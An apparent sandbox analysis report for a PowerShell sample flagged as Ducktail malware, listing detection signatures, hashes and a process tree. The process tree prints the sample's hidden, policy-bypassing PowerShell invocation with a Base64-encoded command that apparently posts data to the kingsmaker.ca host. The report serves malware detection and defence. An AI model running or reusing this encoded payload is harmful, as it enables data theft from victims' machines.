Edit tour
Windows
Analysis Report
kingsmaker_4.ca.ps1
Overview
General Information
| Sample name: | kingsmaker_4.ca.ps1 |
| Analysis ID: | 1565059 |
| MD5: | 26b9748c7c6e3aeaed7a96eb26cb8277 |
| SHA1: | d3a67c19c99e205a552cbb875a7465591e938326 |
| SHA256: | 85794de1be32ab105557d079db6f6b1b1b1f67bc37e887e9cdafa9d817dbb59e |
| Infos: |   |
 | |
Detection
Ducktail
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Ducktail
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
Potential dropper URLs found in powershell memory
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: PowerShell Base64 Encoded WMI Classes
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64native
powershell.exe (PID: 8976 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLogo -E xecutionPo licy unres tricted -f ile "C:\Us ers\user\D esktop\kin gsmaker_4. ca.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 8984 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
csc.exe (PID: 9184 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\qlxhih ga\qlxhihg a.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 9204 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES4364.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\qlx hihga\CSCB 3BD9BA87EA D4F1291288 FCEAEB1541 7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - powershell.exe (PID: 6368 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4176 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
AcroRd32.exe (PID: 3628 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroR d32.exe" " C:\Users\u ser\AppDat a\Local\Te mp\Job Des cription.p df" MD5: 6791EAE6124B58F201B32F1F6C3EC1B0) - cmd.exe (PID: 8032 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -WindowS tyle hidde n -NoLogo -NoProfile -Executio nPolicy by pass -Enco dedCommand JAB1AHIAa QAgAD0AIAA iAGgAdAB0A HAAcwA6AC8 ALwBrAGkAb gBnAHMAbQB hAGsAZQByA C4AYwBhAC8 AZgBpAGwAZ QAyAC8AMwA 3AGUAMgBhA DUANwA2ADc AOAAxAGYAN gAwAGUAYQB lAGEANQA1A GUAMwA3ADk AYgBlADYAY QBlADAAMAA 3ADcANgA0A DEAYgAzADk AZgA1ADkAM AA3ADkAMgA 0AGQAOAA1A DIANAAyADQ AMQBlADIAO QBiADcAYQA 1ADMAYQA2A DEAMwBiADM AZAAzADcAZ gA5ADAAZQA wADAANQBlA DEAMQBiADk ANgBkADYAM QAxADcANgA yADkAMAA0A DYAOQA5ADA AYwAxAGQAZ gA3ADkAYQB hADkANwAzA DUAMgA4ADk AMwAwADgAY wAxAGIAMgB mAGEAOQBlA GQAZQBlAGE ANABkAGMAN QBmAGUANQB hADAAOQBiA GYAOQBiADI ANwA3ADMAZ QBlAGEAZgA 5ADAAOQA1A DAAYgA2ADk ANgBmAGUAM QAwAGMAYwA 5AGQAYgAzA DcANAA1AGI ANQAxADUAM QBlADQAYgA wADAAMABhA DcAOQAxADI AMQAzAGMAZ gA5ADMAZgA yADUAMAA3A DAAZgA1ADg AOQBiADQAM ABmAGQAMwB lADMAOQBjA DQAYQAxADg AZQBkAGEAZ AAyACIAOwA NAAoAJABjA G8AdQBuAHQ AIAA9ACAAM QAwADAAOwA NAAoADQAKA A0ACgANAAo AZgB1AG4AY wB0AGkAbwB uACAAUwBlA G4AZAAgAHs ADQAKACAAI AAgACAAcAB hAHIAYQBtA CgAIABbAFA AUwBPAGIAa gBlAGMAdAB dACAAJABsA G8AZwBNAHM AZwAgACkAD QAKAA0ACgA gACAAIAAgA CMAIABDAG8 AbgB2AGUAc gB0ACAAYgB vAGQAeQAgA HQAbwAgAHM AdAByAGkAb gBnAA0ACgA gACAAIAAgA CQAcwB0AHI AaQBuAGcAQ gBvAGQAeQA gAD0AIABbA HMAdAByAGk AbgBnAF0AK AAkAGwAbwB nAE0AcwBnA CAAfAAgAEM AbwBuAHYAZ QByAHQAVAB vAC0ASgBzA G8AbgApADs ADQAKACAAI AAgACAAJAB sAG8AZwBNA GUAcwBzAGE AZwBlAHMAI AA9ACAAQAA oACkAOwANA AoAIAAgACA AIAAkAGwAb wBnAE0AZQB zAHMAYQBnA GUAcwAgACs APQAgACQAc wB0AHIAaQB uAGcAQgBvA GQAeQA7AA0 ACgAgACAAI AAgACQAbAB vAGcATQBlA HMAcwBhAGc AZQBzACAAK wA9ACAAIgA tAC0ALQAtA C0ALQAtAC0 ALQAtACIAO wANAAoADQA KACAAIAAgA CAAJABoAGU AYQBkAGUAc gBzACAAPQA gAEAAewB9A DsADQAKACA AIAAgACAAJ ABrAGUAeQA gAD0AIAAiA EMAbwBuAHQ AZQBuAHQAL QBUAHkAcAB lACIAOwANA AoAIAAgACA AIAAkAHYAY QBsAHUAZQA gAD0AIAAiA GEAcABwAGw AaQBjAGEAd ABpAG8AbgA vAGoAcwBvA G4AIgA7AA0 ACgANAAoAI AAgACAAIAA kAGgAZQBhA GQAZQByAHM AWwAkAGsAZ QB5AF0AIAA 9ACAAJAB2A GEAbAB1AGU AOwANAAoAI AAgACAAIAA kAHUAcgBpA CAAPQAgACI ATABPAEcAV QBSAEwAIgA 7AA0ACgAgA CAAIAAgAHQ AcgB5AA0AC gAgACAAIAA gACAAIAAgA CAAewANAAo AIAAgACAAI AAgACAAIAA gACAAIAAgA CAAJABiAG8 AZAB5ACAAP QAgACQAbAB vAGcATQBlA HMAcwBhAGc AZQBzACAAf AAgAEMAbwB uAHYAZQByA HQAVABvAC0 ASgBzAG8Ab gA7AA0ACgA gACAAIAAgA CAAIAAgACA AIAAgACAAI ABJAG4AdgB vAGsAZQAtA FcAZQBiAFI AZQBxAHUAZ QBzAHQAIAA tAFUAcgBpA CAAJAB1AHI AaQAgAC0AT QBlAHQAaAB vAGQAIABQA G8AcwB0ACA ALQBIAGUAY QBkAGUAcgB zACAAJABoA GUAYQBkAGU AcgBzACAAL QBCAG8AZAB 5ACAAJABiA G8AZAB5AA0 ACgAgACAAI AAgACAAIAA gACAAfQANA AoAIAAgACA AIAAgACAAI AAgAGMAYQB 0AGMAaAB7A A0ACgAgACA AIAAgACAAI AAgACAAIAA gACAAIAANA AoAIAAgACA AIAAgACAAI AAgAH0ADQA KACAAIAAgA CAADQAKAH0